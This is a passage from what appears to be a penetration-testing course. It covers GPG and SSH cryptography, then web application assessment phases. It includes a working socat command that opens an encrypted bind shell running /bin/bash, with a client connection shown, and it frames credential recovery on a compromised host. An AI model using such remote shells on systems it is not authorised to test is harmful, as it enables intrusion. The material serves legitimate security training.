kali@kali:~$ gpg --decrypt aes256.plain.gpg
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
Let's try some symmetric-key encryption.
Listing 27 - Decrypting the AES256 ciphertext
Asymmetric Encryption
This Learning Unit covers the following Learning Objectives:
- Understand asymmetric encryption and how it differs from symmetric
encryption. - Learn the basics of asymmetric encryption math
- Understand asymmetric authentication with SSH
- Setup asymmetric encrypted bind shells
- Understand the purpose of SSL and HTTPS
Recall that one of the primary problems with symmetric-key encryption
is that a single key must be kept secret, yet paradoxically it
must also be shared among communication partners. This means that
symmetric-key encryption is only as secure as the channel used to
share the key. Asymmetric or public-key encryption[299]
solves this issue by employing two different, but mathematically
related keys for encryption and decryption respectively.
Let's imagine that Alice wants to send an encrypted message to Bob.
Before Alice sends the message, Bob will generate an asymmetric
key-pair. This key-pair consists of two keys: a public key, which
Bob can distribute freely and widely, and a private key, which Bob
will keep entirely confidential.
Bob sends his public key to Alice. He does not need to worry about
the security of the communication channel, because secrecy is not a
requirement for public keys.
Once Alice has Bob's public key, she is ready to encrypt her
message, and she'll do so using Bob's public key. The technical steps
required to encrypt the message are similar to those we followed with
symmetric-key encryption, as we'll cover shortly.
Alice sends the message to Bob, and Bob can now use his private key
to decrypt it. By following this protocol, Alice and Bob can enjoy
complete confidentiality because the only secret that needs to be
transmitted is the message itself.
We can use the gpg --gen-key command to generate a key-pair
with Kali Linux.
kali@kali:~$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: Offsec
Email address: test@example.com
You selected this USER-ID:
"Offsec <test@example.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 4935190D131B0ED9 marked as ultimately trusted
gpg: directory '/home/kali/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/kali/.gnupg/openpgp-revocs.d/E0640A6E680FA6590DD0F03D4935190D131B0ED9.rev'
public and secret key created and signed.
pub rsa3072 2021-04-20 [SC] [expires: 2023-04-20]
E0640A6E680FA6590DD0F03D4935190D131B0ED9
uid Offsec <test@example.com>
sub rsa3072 2021-04-20 [E] [expires: 2023-04-20]
Listing 28 - Creating an asymmetric key-pair
Next, we'll export the key to create a file that can be shared
with potential recipients. The format used to export a key is
as follows: gpg --output <output-file> --armor --export
<name-or-email-address>
The --armor flag ensures that the output will be in ASCII
text, rather than the default binary output.
kali@kali:~$ gpg --output example-pub.asc --armor --export Offsec
kali@kali:~$ cat example-pub.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGB+1GABDACwBj35jXh1OB8xvx7P+L4W9HRmns0TMKvOi8+fYpz9SbOS2aQo
...
mRRN3arAPcuWx7pw+rToyArDvXXIrwtXGSNfS8FZsHT4HPLzEkcAlMx30j6b59TX
EqRxg0u8zhMYYESiUV7nJOw=
=6PEF
-----END PGP PUBLIC KEY BLOCK-----
Listing 28 - Exporting the public key
We're now ready to encrypt a message with our public key.
We would normally use someone else's public key to encrypt our
message, as they would need to decrypt it with their own private key.
Since we're both the sender and the receiver in this simple proof of
concept, we'll just use our own for the moment. We need to create
a file to encrypt, and then specify a recipient (in this case,
ourselves).
kali@kali:~$ echo "Asymmetric encryption example" > asymmetry.txt
kali@kali:~$ gpg --recipient Offsec --encrypt asymmetry.txt
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: next trustdb check due at 2023-04-20
kali@kali:~$ ls -l asymmetry*
-rw-r--r-- 1 kali kali 30 Apr 20 09:42 asymmetry.txt
-rw-r--r-- 1 kali kali 498 Apr 20 09:43 asymmetry.txt.gpg
kali@kali:~$ file asymmetry.txt.gpg
asymmetry.txt.gpg: PGP RSA encrypted session key - keyid: 84C9AC07 E5046E4E RSA (Encrypt or Sign) 3072b .
kali@kali:~$ cat asymmetry.txt.gpg
���ɬ�nN
�RH���-yF%����0C
l��%�}�<�ͺٱ��I��bwx���IU�����t�7F����<�u
]���;�!ѥ�f�1��3pl#g|��Lok6>�#��h���S�v��;�AS�C�+9�����r▒]"x��V#��V�F%�PV����/G�4O�W�����]_�$C�t�3�Q!▒����Z�L�w�o��iˤy-љ�>^
����ng:m�鼹_j�FO
������[ �u�����C/��s������,
ߑ<G3'�������Jԯ�dNt�jh,װ�$���N�f=ޖT�h��W���#�ߛ��9�|:���~`�c]E�kgm�}m��Y�3
�8q�q��G�����*�a��0.�qF�XH���[j��H��P��s� B��{�DY�'A��
{�Қ�����ڣb�G*$R�>XSW (�0ۀ�DcѸ_� ��,�ˈ����
Listing 29 - Encrypting a message with a public key
Here we observe that the encrypted file is significantly larger than
the input plaintext, especially relative to our previous experiments
with symmetric-key encryption.
Finally, since we are sending this message to ourselves, we can
decrypt the file using our private key. Again, normally it would be
the recipient that would decrypt the file using their own private key,
and we would have used their public key to encrypt the file.
kali@kali:~$ gpg --decrypt asymmetry.txt.gpg
gpg: encrypted with 3072-bit RSA key, ID 84C9AC07E5046E4E, created 2021-04-20
"Offsec <test@example.com>"
Asymmetric encryption example
Listing 30 - Decrypting a message with a private key
Note that we'll need to enter the passphrase we created earlier during
key-pair generation, when prompted.
It can sometimes be tricky to recall who has to use which keys
to encrypt and decrypt messages with asymmetric encryption. We can
use the following mnemonics to help us remember: SUPER - Sender Uses
Public Encryption-key of Receiver.
In addition to encrypting and decrypting secret messages, asymmetric
key-pairs can also be used to sign and verify messages. Just like
a physical signature, a signed message allows the recipient to check
that the sender is actually who they claim to be.
The protocol for signing a message can be considered the mirror of
that used for encrypting one. Rather than using Bob's public key to
encrypt her message and having Bob use his own private key to decrypt
it, Alice will instead sign the message with her own private key, and
then Bob will verify it with her public key.
Note that signing a message with a private key is not equivalent
to actually sending the recipient said key. In other words, message
signing does not threaten the confidentiality of the sender's private
key.
Now that we've briefly covered the basics of asymmetric encryption,
let's try a few hands-on exercises. Download the files below to complete
these asymmetric cryptography challenges.
Now that we know how to generate and use key-pairs, we can start to
understand how asymmetric cryptography works. Earlier we touched on
the fact that the public and private keys of an asymmetric key-pair
are mathematically related. There are several methods for implementing
the relationship between keys in a key-pair, but each of them hinge
on a fundamental mathematical concept: the procedure that generates
the key-pairs must be easy to compute given some input, but it must be
difficult to reverse given some output.
We've already seen a one-way function like this earlier for hashing.
It's easy to apply a hashing algorithm to some text, but it's
difficult to get the input text back from a hash.
One of the most ubiquitous one-way functions used for asymmetric
encryption is the factorization of prime numbers. Recall that every
natural greater than 1 is either prime (that is, it can only be
divided by 1 or by itself), or it must be made up of some product of
unique prime numbers. For example, the product of the prime numbers
89 and 239 is 21271. The only way to get 21271 out of prime numbers
is via these two inputs. This concept is known as the fundamental
theorem of arithmetic.
Prime factorization is a powerful basis for asymmetric cryptography
because it is computationally easy to multiply two primes together
to generate a product but it is computationally hard to start with
a product, and obtain its prime factors as output. In other words,
a computer can multiply two large prime numbers together almost as
quickly as it can multiply two small numbers. But if we ask it to
factor in a very large product, it will not be able to do so as
efficiently or quickly.
Let's examine how we can do asymmetric encryption with prime numbers.
First, we select two prime numbers (designated by p and q) and
then multiply them together to form the product n. Using n as
a base, we can perform some additional math to output two special
numbers e and d, such that they have particular properties
relative to n. We can then define a public key as the tuple
(n,e), and a private key as the tuple (n,d). The details of
how to calculate e and d are beyond the scope of this Learning
Unit, but we have included resources for you to explore further.
Understanding the basics of asymmetric cryptography is certainly
interesting, but unfortunately it does not apply practically to most
day-to-day security tasks, neither on the defensive nor the offensive
sides.
Let's now turn our attention to a more practical area, asymmetric
authentication with SSH. We'll learn how to generate an SSH key-pair,
how to configure an SSH server to use a key-pair for authentication,
and finally how to log in to a remote server by supplying a public key
as input to the server.
We can generate an SSH key-pair on Kali with ssh-keygen.
We'll need to specify the name of the desired output file, as well as
an optional passphrase.
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key: /home/kali/.ssh/kali_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/kali_rsa
Your public key has been saved in /home/kali/.ssh/kali_rsa.pub
The key fingerprint is:
SHA256:fhLZNenKE6VD1CPm92uhyhVqHwXbG05Rpuvx0sPNbKU kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .. o|
| .o o. + |
| o..*.o |
| +.=.= o |
| S =.+.B .|
| . o = *+Xo|
| o B o.E=B|
| = +..oo.|
| o... |
+----[SHA256]-----+
Listing 31 - Generating an SSH key-pair
Now that we have generated a key-pair, we need to put the public key
on a remote server. Remember, we never want to share the private key.
We will be using the web-based Kali VM as both the local and remote
server.
To send our public key to the remote SSH server, we can use the
ssh-copy-id utility. We'll be prompted to enter the password
for the kali user.
kali@kali:~$ ssh-copy-id -i /home/kali/.ssh/id_rsa.pub kali@localhost
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/kali/.ssh/id_rsa.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
kali@localhost's password:
Number of key(s) added: 1
Now try logging into the machine, with: "ssh 'kali@localhost'"
and check to make sure that only the key(s) you wanted were added.
Listing 32 - Copying an SSH key-pair
Finally, we can logon to the remote server by invoking the -i
flag.
kali@kali:~$ ssh -i .ssh/id_rsa kali@localhost
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 20 17:23:04 2021 from ::1
kali@kali:~$ cd .ssh
kali@kali:~/.ssh$ ls -l
total 16
-rw------- 1 kali kali 563 Apr 20 17:32 authorized_keys
-rw------- 1 kali kali 2590 Apr 20 17:23 id_rsa
-rw-r--r-- 1 kali kali 563 Apr 20 17:23 id_rsa.pub
-rw-r--r-- 1 kali kali 222 Apr 20 17:23 known_hosts
kali@kali:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfkT0yyXl+gTncAajec+LsS2qq3o2iIBCJHJTLxOVBrBAZh8kL5sYWLXA34iRsp8YdaUIb16h6KRJwiZyhvV5Yg//OhEMK+Rkim7LKZ1Mm09Ubueniw3BlqWbEmuRx4K40pAvZkFMpOSZ9xJGFTc72NhfVYj7KOta5KjQmV85O0KCzBCsZ3qleJWmerTU2EAGJsvKIRngrO3zVOVOkqSmtlfezmrknsG0Kb0hf3cxWxNIN4lUCLEuUbz0Xh/qUrFv6gbAqWbSj6wgsARoRLtR6k88wVGJp/ZhYDI8OpSru3nrmjjZVIqonXPXXQXlB1rdJoihzaEGVgLNRD71WnOR+cIGSM4Hb29P81nZTZ/I3YUWpxf+S+om1jGKVqWWa/bIZ8juVeq03I8BAFUu8eQgtuUk8e9WOpQ//e2oA22+a7eTMBsimXkqSGTDeJMpAnAjok9NINOlCgbA4lDUSOvTjuUzkogDDwTYcn/nj4Z3BjpmLaBpoQV5kgd2GjxrqYC8= kali@kali
Listing 33 - Logging on to an SSH server with key
We notice that there is a newly created file called
authorized_keys in the .ssh directory, and that
it contains our public key. In fact, we could have simply copied
over the id_rsa.pub file to authorized_keys since
we're only using a single host. If we wanted to copy it remotely and
ssh-copy-id was not installed, we could use something like
scp, or simply have SSHed with a regular password to copy it
manually.
Encrypted communication via many protocols relies on something called
a Secure Sockets Layer (SSL). The most common use case for SSL is
applied to web traffic, and we'll explore this application in greater
detail below.
First, we'll learn how to use the openssl command to create a
certificate and private key, and then how to feed those files to
socat to create encrypted bind shells.
The command we'll use to generate the necessary files is rather long,
so we'll include it here and then examine each part piece by piece.
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 30 -out bind_shell.crt
Listing 34 - Command to create an SSL certificate and key
Let's review each piece in order.
-
req tells openssl that we want to create a new certificate.
-
-newkey tells openssl that we want to generate a new private key as well.
-
rsa:2048 defines the encryption algorithm we want to use. This is
similar to the --cipher-algo flag used by gpg. In this case, we're
using the RSA algorithm with a 2048-bit key length. -
-nodes says to create the private key without a passphrase to
protect it. This is similar to creating an SSH key without passphrase
protection. -
-key lets us save the generated private key to an output file in
Base64 format. -
-x509 ensures that our certificate is self-signed. The alternative
is to use an existing certificate authority. -
-days specifies the number of days we want the certificate to be
valid for. In our case, we'll choose to give our certificate 30 days
of validity. -
-out saves the certificate to file, also in Base64 format.
Now that we have an idea of what this command does, let's invoke it on
our Kali VM and review the results.
kali@kali:~$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 30 -out bind_shell.crt
Generating a RSA private key
...............................................................................+++++
...+++++
writing new private key to 'bind_shell.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:NY
Locality Name (eg, city) []:NY
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Offsec
Organizational Unit Name (eg, section) []:Security
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
kali@kali:~$ head bind*
==> bind_shell.crt <==
-----BEGIN CERTIFICATE-----
MIIDdz
...
==> bind_shell.key <==
-----BEGIN PRIVATE KEY-----
MIIEvA
...
kali@kali:~$
Listing 35 - Generating a new openssl certificate and key
After executing the command, we note two additional files in our
working directory: bindshell.crt contains our certificate,
and bind_shell.key contains the new private key. In order
for socat to use these files, we actually need to combine them into
a single _Privacy Enhanced Mail (PEM) file. A .pem is
simply a list of Base64 encoded strings, usually containing multiple
certificates, keys, and other cryptographic items. Entities in a
.pem are separated by lines such as "-----BEGIN/END PRIVATE
KEY-----". Despite its original acronym, PEM files need not be used
for encrypted e-mail. In our case, we'll simply concatanate the
.key and .crt files together:
kali@kali:~$ cat bind_shell.key bind_shell.crt > bind_shell.pem
Listing 36 - Concatonating the key and cert into a .pem
We're now ready to create our encrypted bind shell with socat. Once
again, the command is on the lengthy side so we'll break it down step
by step.
kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
Listing 37 - Creating an encrypted bind shell
Let's review each part.
-
sudo is required because we are opening a port on a well-known
port. (Recall that well-known ports are those between 0 and 1023). -
OPENSSL-LISTEN:443 specifies the port on which we want our service
to listen for connections. -
cert=bind_shell.pem indicates the name of our combined key and
certificate file. -
verify=0 tells socat to not to check the client's certificate.
-
fork will spawn a child process once a connection is made to the
listener. This is helpful because if the connection is disrupted or
killed, the original service can often survive and remain intact. -
EXEC:/bin/bash tells socat to have our service run bash.
Now that our shell is listening, we can connect to it via another
machine. For demonstration purposes, we'll use a Windows host, though
a Linux client would work just as well.
C:\Users\offsec> socat - OPENSSL:192.168.22.31:443,verify=0
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
whoami
kali
Listing 38 - Connecting to an encrypted bind shell
The best known SSL is HTTPS, which is a cryptographically enhanced
version of the HTTP protocol. When we visit an SSL enabled website
with a browser, the web server provides a certificate that contains a
public key.
SSL encryption procedures leverage both asymmetric and symmetric
encryption. First, the server and client agree on a symmetric session
key, which is encrypted by the client with the server's public key.
This session key is then transmitted over the network to the server.
Next, the server uses its private key to decrypt the session key.
Notice how this maneuver allows the client and server to bypass
the inherent weakness of symmetric encryption by using asymmetric
encryption to transmit the symmetric key. After the initial key
exchange, both parties can use the same session key to encrypt and
decrypt all future data transferred to each other.
If the initial private key used to decrypt the session key ever
becomes compromised, then it would be possible to decrypt the session
key, and therefore all of the data that has been encrypted with it.
To overcome to this problem and several other major deficiencies,
a new standard called Transport Layer Security (TLS)[300] was
introduced. Over time, TLS versions started to introduce more and
more cipher suites that supported forward secrecy.[301]
Forward secrecy is a feature that aims to protect against session key
compromise. In short, this feature assures that past communication
cannot be decrypted if the private key gets compromised.
The latest version (1.3) of TLS contains only cipher suites that
support forward secrecy. For this reason, browser developers
tend to deprecate SSL and older version of TLS, but they are still
forced to keep some weak cipher suites for compatibility reasons.
TLS helps ensure that most web-based encrypted communication cannot be
be easily decrypted using just the server's private key, because only
a portion of the session key actually gets transmitted through the
network. In addition, the session key is periodically renewed between
client and sever. Because of this, all of the session keys would be
needed to decrypt traffic in the event of a private-key compromise.
Traffic analyzer applications like Wireshark allow us to load a set
of session keys and will automatically use those keys for decryption.
A (Pre)-Master-Secret key log file can be loaded on the TLS settings
window by navigating to Edit > Preferences > TLS in the
protocols tree.
As a reminder, we can load a saved packet capture to Wireshark either by entering
Ctrl+O, or via the menu under File > Open.
Cryptography: Cumulative Exercise
This Learning Unit has the following Learning Objectives:
- Demonstrate competency with encoding and decoding
- Demonstrate competency with hashing
- Demonstrate competency with symmetric and asymmetric encryption
- Demonstrate competency with password cracking
This is a cumulative exercise that requires you to employ the
understanding and skills you have gained in the Cryptography
Module to complete a set of objectives.
Scenario: You have gained initial access to a target Linux machine
during a penetration test. Use this remote SSH access to learn more
about the user and, ultimately, recover additional credentials to help
you gain deeper access to this network or machine.
Web Attacker Methodology
In this Topic, we will cover the following Learning Units:
- Introduction to Web Application Assessments
- Enumeration
- Vulnerability Discovery
- Exploitation
- Post-Exploitation
- Reporting
Each learner moves at their own pace, but this Topic should take
approximately 3 hours to complete.
Some might consider a web application to be an individual system,
but web applications often contain connections to other systems that
can allow an attacker to gain a foothold on an internal network.
Therefore, assessing the security of a web application is an important
part of establishing the security posture of both the application and
the organization or company that owns it. As we assess an application,
we must think like an attacker to identify flaws that we can exploit
to gain further access to the application, or use to obtain sensitive
data.
In this Topic, we will introduce the phases of web application
assessments and cover the commonly used methodology for each phase.
However, this topic will not cover web application vulnerabilities or
their exploitation in-depth. The WEB-200 course covers this material.
Introduction to Web Application Assessments
This Learning Unit covers the following Learning Objectives:
- Understand what a web application assessment is
- Understand why web application assessments are performed
- Understand how web application assessments relate to penetration
tests - Understand the conceptual phases of a web application assessment
This Learning Unit will take approximately 15 minutes to complete.
Many companies have web application assessments performed to help
secure their applications by proactively identifying vulnerabilities
or misconfigurations in their applications. Internal teams or
contractors might perform the assessment depending on the size and
budget of the company. Usually, web assessors conduct assessments in
non-production environments to avoid impacting production systems and
customers. However, each engagement can have its own specific rules
and expectations.
In this Topic, we'll refer to the company or team requesting an
assessment as the client, even if an internal team performs the
assessment.
The scope of an assessment is the collection of the client's testing
objectives. This includes which applications are being testing, what
access the assessors have at the start of the assessment, and the
"rules" of the test, including what can and can't be done, such as
phishing.[302]
During an assessment, one or more assessors attempt to identify
and exploit misconfigurations and vulnerabilities based on approved
objectives. These objectives can be as broad, such as "find all
vulnerabilities in the application", or very application-specific,
such as "can you capture credit card numbers during the payment flow".
Each assessment has different assumptions, such as the level
of application access provided to the assessor or the availability
of source code. Some assessment owners might want to limit access
or knowledge to better mimic an actual attacker. However, providing
information to the assessors can often result in more thorough testing
coverage.
Some components of web application assessments overlap with
penetration tests, but they are not the same thing. Web application
assessments tend to have broad objectives on a small group of
applications or servers. Penetration tests tend to have very specific
goals and include most, if not all, applications, servers, and
employees of the organization.
Penetration testers may seek to compromise a web application to gain
initial access, in which case, many of the steps performed will be
very similar to a web application assessment. However, if part of
the scope, the penetration testers could also phish users for initial
access to the internal network, completely bypassing external web
applications.
There are different security testing standards, each of which use
different definitions for the phases (or sections) of a security
assessment. The different terminologies can be confusing when we
compare two different standards. For example, the Penetration
Testing Execution Standard (PTES),[303], has seven sections.
While the OWASP's Web Application Security Testing[304]
methodology considers testing to be passive or active, with active
testing divided into 12 categories.
Regardless of the naming conventions, we will cover web application
assessments from five conceptual phases: Enumeration, Vulnerability
Discovery, Exploitation, Post-Exploitation, and Reporting.
Enumeration
This Learning Unit covers the following Learning Objectives:
- Understand the importance of enumeration
- Understand how to identify web application technologies
- Understand which automated scans are useful during enumeration
- Understand the concept of an attack surface
This Learning Unit will take approximately 30 minutes to complete.
During the Enumeration phase, our objective is to discover as much as
we can about the application and its users.
A web stack[305] is the combination of software that
runs and supports an application. For web applications, the stack
is typically comprised of a server, an operating system, a database,
and a programming language. Not every application will fit this
definition, but it remains a useful concept.
LAMP[306] was one of the most common web stacks for
many years. Its components are Linux, Apache, MySQL, and PHP. While
we will often encounter applications running on LAMP stacks, it
can be difficult to quantify every application's stack. A website
that seems to be one application can utilize many different
microservices,[307] each built with different
technologies.
For example, an application might use NodeJS for the main UI, an API
written in Python for user authentication, and an API written in Java
for handling eCommerce transactions. If the application makes the API
calls, rather than our browser, we might not know the different APIs
exist.
During enumeration, we're not trying to identify a specific stack.
Rather, we should use the concept of a stack as a guiding principle to
identify the components of the application that we can interact with.
We can do this by inspecting browser requests and server responses
for useful information. If we can identify some of the software the
application uses, we can search for any known vulnerabilities during
the Vulnerability Discovery phase.
There are different actions we can take to try to identify different
components of a web application. Let's begin with trying to identify
what OS and web server we are enumerating.
The Server and X-Powered-By response headers can leak the server
software (including version number), and the application's programming
language. Some JavaScript libraries will include an X-Requested-With
header on requests. We can inspect server response headers using
curl with the -i flag to include headers in the output or
with -I to send a HEAD[308] request and only display
the response headers. However, not all servers will respond to a HEAD
request.
Let's review an example.
kali@kali:~$ curl -I http://www.megacorpone.com
HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 14:40:27 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 06 Nov 2019 15:04:14 GMT
ETag: "390b-596aedca79780"
Accept-Ranges: bytes
Content-Length: 14603
Vary: Accept-Encoding
Content-Type: text/html
Listing 1 - Using curl to inspecting server response
In Listing 1, the server response included a Server
header which lists the server software (Apache), version (2.4.38), and
operating system (Debian). Not every server will include this header
at all or include all three values.
Next we can move on to the programming languages and frameworks
used. We can infer these based on file extensions used in URLs,
such as .php indicating PHP and .jsp indicating
Java. However, with modern frameworks supporting programmatic
routing,[309] we will often encounter applications that do
not include file extensions in their URLs.
Depending on the application, there may be a database we want to
examine. Determining an application's database can be difficult unless
we can generate an error message that includes an identifier. Most
databases use unique error codes, such as Oracle error IDs starting
with 'ORA', which we can use to identify the database.
It is more difficult to manually enumerate the operating system of an
application without a verbose error message that indicates the OS or
a file path. However, many scanning tools, such as nmap,[310]
can guess a server's OS based on TCP fingerprinting. We will cover
automated tools in a later section.
Once we have an idea of the technologies used by the application, we
should try to enumerate the application's users. We may want to target
these users with a client-side exploit or attempt to brute force their
passwords during the Exploitation phase.
But first we need to get some usernames. Depending on the site, we
might be able to crawl the site and harvest public usernames through
forums, reviews, or similar functionality. Some web applications will
leak valid user accounts through error messages during login, password
resets, or account creation. For example, an application might respond
with "Invalid username" if the username submitted isn't valid and
"Invalid password" if the username is valid, but the password provided
is incorrect.
If enterprise users use the web application, we should check for
patterns in usernames. Many companies will enforce a standard naming
pattern for usernames. If we can reasonably deduce the patterns
used in usernames, we can turn a list of employees into a list of
usernames.
For the following exercise, consult the listing below.
mark.styles
l.draupadi
kenneth.force
t.paran
Listing 2 - A list of usernames
We've mainly focused on manual enumeration techniques so far. However,
automated tools can be very useful during enumeration. Let's discuss
a few types of automated scanning tools that are useful during
enumeration.
We previously mentioned the network scanner and security tool
nmap. While primarily a port scanner, nmap includes a scripting
engine and numerous scripts that can be used to test for security
misconfigurations and vulnerabilities.
But there is a vast array of other tools. Some tools will "crawl"
a site and follow links to discover content. Other tools will
attempt to brute-forcing, or "bust", content by sending a series
of HTTP requests based on wordlists. This process can generate a
lot of traffic. In contrast, a crawler generates traffic similar to
normal users. Dirb,[311] dirbuster,[312] and
gobuster[313] are all discovery tools.
Vulnerability scanners[314] are specialized tools
that test applications and servers for security misconfigurations
and vulnerabilities. Some of these scanners check for vulnerabilities
using signatures, such as service banners or by inspecting the
operating system as an authenticated, local user. Other tools
will perform a series of tests to identify vulnerabilities rather
than relying on a signature alone. One very popular scanner is
Nessus.[315]
Many security tools are multi-purpose. For example, Burp Suite
Professional[316] includes a scanner that will "crawl" a site
(following links to discover all the content) and audit any discovered
pages and forms for vulnerabilities. The Community Edition of Burp
Suite lacks the crawler and scanner functionality but is still an
essential tool for manual testing.
Once we've enumerated the application and its users, we need to
determine its attack surface.[317] This is
all the components that allows us to enter data, retrieve data,
or otherwise interact with the application. We don't need to be
authenticated to start looking at the attack surface.
We want to identify any behavior in the application that seems unusual
and places where the application processes data we provide. We'll
focus on these parts of the application as we move on to the next
phase, Vulnerability Discovery.
Vulnerability Discovery
This Learning Unit covers the following Learning Objectives:
- Understand how automated scans identify vulnerabilities
- Understand how manual testing identifies vulnerabilities
- Understand the basics of source code analysis
- Understand how third-party dependencies can introduce
vulnerabilities
This Learning Unit will take approximately 30 minutes to complete.
During the Vulnerability Discovery phase, our objective is to discover
misconfigurations and security vulnerabilities.
We briefly covered automated scanning during the enumeration phase. It
is important to remember that automated tools can increase our
productivity during web application assessments or penetration
tests, but we must also understand manual exploitation techniques.
Specialized tools, such as SQLmap, have their place in our toolbox.
However, tools will not always be available in every situation and
may mistakenly identify a vulnerability that doesn't exist, also known
as a false positive, or fail to find a vulnerability that does exist,
also known as a false negative.
Manual techniques offer greater flexibility and customization. It is
important to remember that tools and automation make our job easier,
but they don't do the job for us.
During manual testing, we can use a proxy tool, such as Burp Suite, or
the developer tools built-in to our browser to inspect and modify
HTTP requests to cause the web application to respond in unusual ways.
For example, we might try sending alpha characters in a field that
should only contain numbers. If the application response changes based
on this input, we might be able to infer how the application handles
errors. We can then test the error handling for misconfigurations or
vulnerabilities.
In addition to testing how the application handles unexpected
input, we should also verify that access controls are working
by attempting to access restricted content and test for specific
vulnerabilities, such as cross-site scripting (XSS)[318] or
SQL injection.[319] The WEB-200 course covers these types of
vulnerabilities in-depth.
Source code analysis is the process of reviewing application source
code for misconfigurations and security vulnerabilities. This can
be difficult and time-consuming but often identifies impactful
vulnerabilities. We can perform code analysis manually or be assisted
by static analysis[320] software.
As the name suggests, we need actual source code to analyze. We
can easily access code for open-source projects. For closed source
applications, we may need to decompile[321] or
reverse engineering[322] an application to obtain
readable code. These processes can sometimes include artifacts of
uncompiled code, but they are useful for providing some recoverable
code.
If we identify any components of the application's tech stack during
enumeration, we can search the Internet for public vulnerabilities,
such as those compiled at the CVE Project[323] or Exploit
Database.[324] We may need to modify or update published
proof-of-concept exploits, but they can often be a very effective way
to compromise an out-of-date system.
We can also check any dependencies for known vulnerabilities
if we have access to the application's source code. OWASP
Dependency-Check,[325] and retire.js[326] are
two examples of applications that can check dependencies for known
vulnerabilities.
Once we have one or more vulnerabilities, we can move on to the
Exploitation phase. If our attacks fail in the Exploitation phase, we
may need to revisit Vulnerability Discovery.
Exploitation
This Learning Unit covers the following Learning Objectives:
- Understand the basic concepts of authentication bypass attacks
- Understand the basic concepts of session hijacking
- Understand the basic concepts of business logic flaws
- Understand the basic concepts of data exfiltration
- Understand the basic concepts of remote code execution
This Learning Unit will take approximately 45 minutes to complete.
During the Exploitation phase, our objective is to gain further access
to the application or exfiltrate sensitive data by exploiting the
misconfigurations and security vulnerabilities we identified in the
previous phase.
Next, we'll review several conceptual types of exploits and their
potential impacts. The WEB-200 course contains more in-depth material
on web application vulnerabilities.
Authentication[327] in web applications occur when users
provide something that proves their identity. It could be an API token
or the combination of a username and password. Authentication Bypass
exploits allow an attacker to gain access to parts of an application
or data normally restricted to other users. These attacks might use
default credentials developers forgot to change or exploit flaws in
the login or password reset flows. For example, an application might
use static or easily guessable tokens during password resets. If an
attacker can guess or predict the next token, they could be able to
reset another user's password and gain access to their account.
Forced Browsing[328] vulnerabilities, are another
type of authentication bypass that can occur when applications only
checks authentication or authorization on certain pages or resources
under the assumption that users cannot directly browse or access them.
We can identify these resources using web content scanners.
Applications may be vulnerable to Insecure Direct Object References
(IDOR)[329] if they provide access to a resource, or
data, without verifying if the requestor should have access. We can
exploit these vulnerabilities to gain access to other users' data or
other restricted resources. If an application uses easily guessable
identifiers, such as sequential numbers, attackers will have an easier
time exploiting this vulnerability.
Session Hijacking[330], while conceptually
similar to Authentication Bypass attacks, rely on gaining access to an
existing user's session.[331] To use this attack, we
might be able to use a cross-site scripting vulnerability to steal a
user's session cookie. Applications can also leak session identifiers
through URLs.
If attackers can hijack an administrative user's session, they may
be able to compromise the entire application and underlying server,
depending on the administrative functionality.
Business Logic Flaws[332] exist when we can subvert
intended application logic to perform unintended actions. Attackers
purchasing merchandise for zero dollars or a negative amount is a
classic example of a business logic flaw. Technically, business logic
flaws are not vulnerabilities, but they can still prove useful for
attackers. Automated scanners often miss these types of flaws.
Once attackers have access to an application, they will often
attempt to steal sensitive data. This process is referred to as Data
Exfiltration.[333] Sensitive data might include
user credentials, financial information (such as credit card numbers),
or other personally identifiable information (PII)[334].
Attackers can use such data in future attacks or otherwise monetize
the data.
The ultimate objective for most attackers is to achieve Remote Code
Execution (RCE),[335] also referred to as Arbitrary Code
Execution. RCE allows attackers to run any command on the server,
which frequently leads to the attacker gaining a shell on the server
and compromising the server and any application or database running on
it.
Once we have successfully exploited an application and gained a shell
on the server, we can move into the Post-Exploitation Phase.
Post-Exploitation
This Learning Unit covers the following Learning Objectives:
- Understand the basic concepts of post-exploitation
- Understand the basic concepts of persistence
- Understand the basic concepts of pivoting
